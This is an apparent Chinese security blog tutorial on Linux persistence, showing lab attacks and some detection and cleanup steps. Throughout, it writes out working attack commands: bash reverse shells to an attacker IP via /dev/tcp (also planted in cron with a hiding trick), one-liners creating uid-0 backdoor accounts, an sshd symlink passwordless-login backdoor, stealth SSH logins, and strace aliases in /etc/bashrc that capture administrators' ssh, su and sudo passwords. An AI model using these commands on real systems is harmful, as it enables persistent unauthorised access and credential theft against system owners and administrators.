✎ 阅读须知
乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!
本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!
更新时间:2022年12月06日11:43:20
本文主要是学习linux
下的权限维持的方法,本文因为写的时间很久了,文章有点乱。
本文仅对linux
的权限维持做了非常微小的学习,文中会从攻和防的角度,在借助学习其它文章的前提下进行学习。
文章所有的操作都是网上已有的技术,仅供参考,如有错误,欢迎指正。
image.png
靶机ip
:centos
10.50.0.16
运维管理机:centos
10.50.0.152
攻击机ip
:mac
10.30.3.49
首先使用运维机器对靶机进行管理:
image.png
此时w
命令显示当前存在一个用户,显示ssh
的ip
为运维机器ip
,一切正常,将用户切换到root
,再看下连接信息:
image.png
此时运维机器和靶机进行正常的通讯。此时端口扫描看下:
image.png
靶机开放了22
端口。
再使用bash
命令反弹靶机到攻击机上,在攻击机上进行操作,然后在测试机器上进行检查,是否存在相应的痕迹:
bash -c 'exec bash -i &>/dev/tcp/10.30.3.49/888 <&1'
image.png
弹了shell
之后,再将原来弹会话的机器的ssh
断开,防止其干扰:
此时检测该机器是否有通讯:
netstat -ano
image.png
这边可以清晰的看到存在一个异常的ip
通讯。
这个操作先在反弹bash
的攻击机上进行:先看下当前已有的历史命令,这是反弹回来的操作命令:
也可以使用这个指令看下:
image.png
再看下当前的passwd
和shadow
文件:
image.png
一句话添加root
用户:
# 创建一个用户名为guest,密码为123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/guest
添加之后,从里面可看到当前多了一个guest
的用户:
image.png
在这里看到shadow
里面多了一个密码:
image.png
在这里一看就是被入侵了,此时运维可以直接删除。
ssh新建用户:
echo "system:adk6oNRwypFwA:0:0:eval_to_root:/root:/bin/bash" >> /etc/passwd
账号:system 密码:admin123
更多生成密码的方法:
https://blog.csdn.net/qq_44159028/article/details/124242529
image.png
image.png
image.png
查询发现,当前在passwd
中多了一个用户,但是在shadow
里面是检测不到的,此时也会被发现:
image.png
此时在管理端是可以发现,新建了一个用户的文件夹,所以两种方法创建的用户都是非常容易被发现的:
image.png
原理性的东西都来自:
https://zhuanlan.kanxue.com/article-16246.htm
Linux
软连接ssh
后门需要ssh
配置允许PAM
认证才能使用。ssh
配置中开启了PAM
进行身份验证,查看是否使用PAM
进行身份验证:
cat /etc/ssh/sshd_config | grep UsePAM
image.png
pam_rootok.so 模块
pam_rootok.so 主要作用是使得uid为0的用户,即root用户可以直接通过认证而不需要输入密码。
cat etc/pam.d/su
image.png
1.PAM认证机制,若sshd服务中开启了PAM认证机制(默认开启),当程序执行时,PAM模块则会搜寻PAM相关设定文件,设定文件一般是在/etc/pam.d/。若关闭则会验证密码,无法建立软链接后门。
2.当我们通过特定的端口连接ssh后,应用在启动过程中就会去找到配置文件,如:我们的软链接文件为/tmp/su,那么应用就会找/etc/pam.d/su作为配置文件,那么则实现了无密登录。
此时可以在靶机上建立一个软链接:
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=6666;
软连接的路径不是绝对的,但是名称是绝对的,使用命令:
find /etc/pam.d|xargs grep "pam_rootok"
image.png
在反弹shell
的机器上输入以上命令:
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=6666;
image.png
image.png
此时使用端口扫描工具看下:
image.png
6666
端口是开启的,那如何连接呢?
ssh root@10.50.0.16 -p 6666
此时只需要输入任意用户名就可以直接连接,但是通过w选项可以看到当前是有一个root
用户登录的:
image.png
参考:
https://blog.csdn.net/weixin_40412037/article/details/117447832
netstat -anpt
image.png
当然,这个图里面问题很多,我们在这里只讨论软连接的情况。
发现开启有6666
的异常端口,且名字为su
、root@pts/
,且su
的PID 为17650
。
查看PID
17650
所使用的程序为ssh
ll /proc/17650
image.png
查看所有的su
文件,以及查找具体哪一个su
是软链接后门
cd ~
cd ..
find . -name su
image.png
使用ll
命令来确定哪一个是后门:
[root@linux-centos /]# ll ./etc/selinux/targeted/active/modules/100/su
总用量 20
-rw-r--r--. 1 root root 1837 9月 13 2017 cil
-rw-r--r--. 1 root root 9171 9月 13 2017 hll
-rw-r--r--. 1 root root 2 9月 13 2017 lang_ext
[root@linux-centos /]# ll ./tmp/su
lrwxrwxrwx. 1 root root 14 12月 6 16:44 ./tmp/su -> /usr/sbin/sshd
[root@linux-centos /]# ll ./usr/share/locale/su
总用量 0
drwxr-xr-x. 2 root root 6 11月 5 2016 LC_MESSAGES
[root@linux-centos /]# ll ./usr/share/bash-completion/completions/su
-rw-r--r--. 1 root root 864 8月 4 2017 ./usr/share/bash-completion/completions/su
[root@linux-centos /]#
image.png
最后发现./tmp/su
文件是软连接的后门。
一定要记得kill
的是两个进程:
rm -rf /tmp/su
kill -9 17650
kill -9 17638
image.png
image.png
此时连接退出:
image.png
此时再也无法连接:
image.png
切记:不要用 rm -rf /tmp/su/
,如果后面多一个斜杠,就会把文件删除!
一定要删除两个进程,如果只删除了正在登录的进程是无效的
如果在已知用户密码的情况下,可以使用这种方法进行登录,如果是自己建立的账号登录的话,一样会被发现。
# 不被last\who\w等指令检测
ssh -T username@x.x.x.x /bin/bash -i
# 不记录ssh公钥在本地.ssh目录中
ssh -o UserKnownHostFile=/dev/null -T user@x.x.x.x /bin/bash -if
如果已知密码的情况下可以使用这个方法登录,比如使用攻击机去登录靶机:
ssh -T bolean@10.50.0.16 /bin/bash -i
image.png
但是使用端口检查的话,还是可以看到的:
netstat -anpt
image.png
基本上普通crontab
一眼就能看出来,基本就是送死的:
crontab -l
image.png
如果想进行计划任务的话,可以使用计划任务进行反弹。
/bin/bash -c 'exec bash -i &>/dev/tcp/10.30.3.49/888 <&1'
但是这个命令如果用到任务计划里面就是:
* * * * * /bin/bash -c 'exec bash -i &>/dev/tcp/10.30.3.49/8688 <&1'
将命令放入到任务计划里面去,然后很快就会回弹一个shell
回来:
image.png
在这里使用crontab -l
了的命令是能看到此时的任务计划的,此时已经收到了shell
:
image.png
先建立一个sh
文件,并对该文件赋予可执行权限:
bash
脚本:hello.sh
,将文件放在/tmp
目录下面:
#!/bin/bash
bash -i >& /dev/tcp/10.30.3.49/12345 0>&1
#!/bin/bash
bash -i >& /dev/tcp/12x.xxx.xx3.xx3/12345 0>&1
image.png
至于留后门的方法可以使用下面的语句,参考:
https://cloud.tencent.com/developer/article/1683265
(crontab -l;printf "*/1 * * * * /tmp/hello.sh;\rno crontab for `whoami`%100c\n")|crontab -
在这里试下:(用了公网的机器)
image.png
不久之后,会话就弹回来了:
image.png
此时使用crontab -l
是看不到当前有新的计划任务的:
image.png
但是crontab -e
是可以看到的:
image.png
但是这个通讯依旧可以看到:
参考文档:
https://zhuanlan.zhihu.com/p/355743801
可以通过alias
命令来执行特定的命令时静默运行其他程序,从而达到启动后门,记录键值等作用。
这里主要是记录该用户的键盘操作,并无法记录登录靶机的ssh
密码信息。
通过命令替换动态跟踪系统调用和数据,可以用来记录用户ssh
、su
、sudo
的操作。
cp /etc/bashrc /etc/.bashrc.bak # 将文件备份
vim /etc/bashrc # 编辑文件
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
b
source ~/.bashrc
image.png
image.png
此时利用该账号再去登录其他账号的时候,发生报错:
image.png
此时发生报错,所以在使用该命令的时候一定要注意下是否有strace
命令。
当前环境是centos
,所以在这里需要自行安装strace
:
yum install strace
image.png
此时再利用该机器进行登录操作:
image.png
登录成功,再看下是否有log
文件进行记录:
image.png
文件已经存在,但是其中的信息过多,需要进行过滤:
grep -A 9 'password' .ssh.log
image.png
将其中的信息进行拼接即为密码信息。
利用alias
进行排查:
image.png
如果需要记录sudo
操作、ssh
等操作,而且生成的日志可能会出现覆盖的情况,因此对于这种问题,我们对方法进行一个总结:
# 1. 文件备份:
cp /etc/bashrc /etc/.bashrc
# 2. 编辑bashrc文件
vim /etc/bashrc
# 3. 记录本机登录其他机器的ssh信息,在bashrc的末尾/其中,加上下面的句子,会将文件放到/usr/bin/目录下,文件结尾为log
alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 2048 ssh'
# 4. 记录sudo命令
alias sudo='strace -f -e trace=read,write -o /tmp/.sudo-`date '+%d%h%m%s'`.log -s 2048 sudo'
# 5. 记录su命令
alias su='strace -f -e trace=read,write -o /tmp/.su-`date '+%d%h%m%s'`.log -s 2048 su'
# source下.bashrc文件
source /root/.bashrc
注意文件不要放在其他的高权限文件夹下,否则生成文件的时候会提示权限不足:
image.png
在这里先删除以前的记录,将以上记录插入:
image.png
alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 2048 ssh'
alias sudo='strace -f -e trace=read,write -o /tmp/.sudo-`date '+%d%h%m%s'`.log -s 2048 sudo'
alias su='strace -f -e trace=read,write -o /tmp/.su-`date '+%d%h%m%s'`.log -s 2048 su'
image.png
image.png
然后再source
一下:
image.png
在靶机上登录其他的机器,执行su
、sudo
命令试试:
image.png
此时去找下文件:
image.png
使用命令来看下文件,登录的ssh
:
grep -A 9 'password' .ssh-0712月121670384140.log
image.png
su
的命令:
cat .su-0712月121670384157.log | grep write
image.png
在这里sudo
命令有问题,好像不太好用。
主要是偷在机器上管理员的一些操作,有时候能够偷到管理员密码信息
1. 查看是否strace命令,如果没有的话,安装:
centos:yum install strace -y
Ubuntu:apt install strace -y
2. 文件备份:
cp /etc/bashrc /etc/.bashrc
3. 编辑bashrc文件
vim /etc/bashrc 或者是vi /etc/bashrc
# 3. 记录本机登录其他机器的ssh信息,在bashrc的末尾/其中,加上下面的句子,会将文件放到/usr/bin/目录下,文件结尾为log
alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 2048 ssh'
# 4. 记录sudo命令(根据场景,一般如果是都只有root用户的话,这个命令不建议用,自己测试centos发生报错)
alias sudo='strace -f -e trace=read,write -o /tmp/.sudo-`date '+%d%h%m%s'`.log -s 2048 sudo'
# 5. 记录su命令(根据场景,一般如果是都只有root用户的话,这个命令不建议用)
alias su='strace -f -e trace=read,write -o /tmp/.su-`date '+%d%h%m%s'`.log -s 2048 su'
参考:https://zhuanlan.zhihu.com/p/146024506这个在实战中,成功过。
本文仅对linux
的权限维持做了非常微小的学习,文章所有的操作都是网上已有的技术,仅供参考,如有错误,欢迎指正。
其中还有一部分参考的文章链接在文中。
https://www.v4ler1an.com/2020/12/backdoor/
https://zhuanlan.kanxue.com/article-16246.htm
https://cloud.tencent.com/developer/article/1683265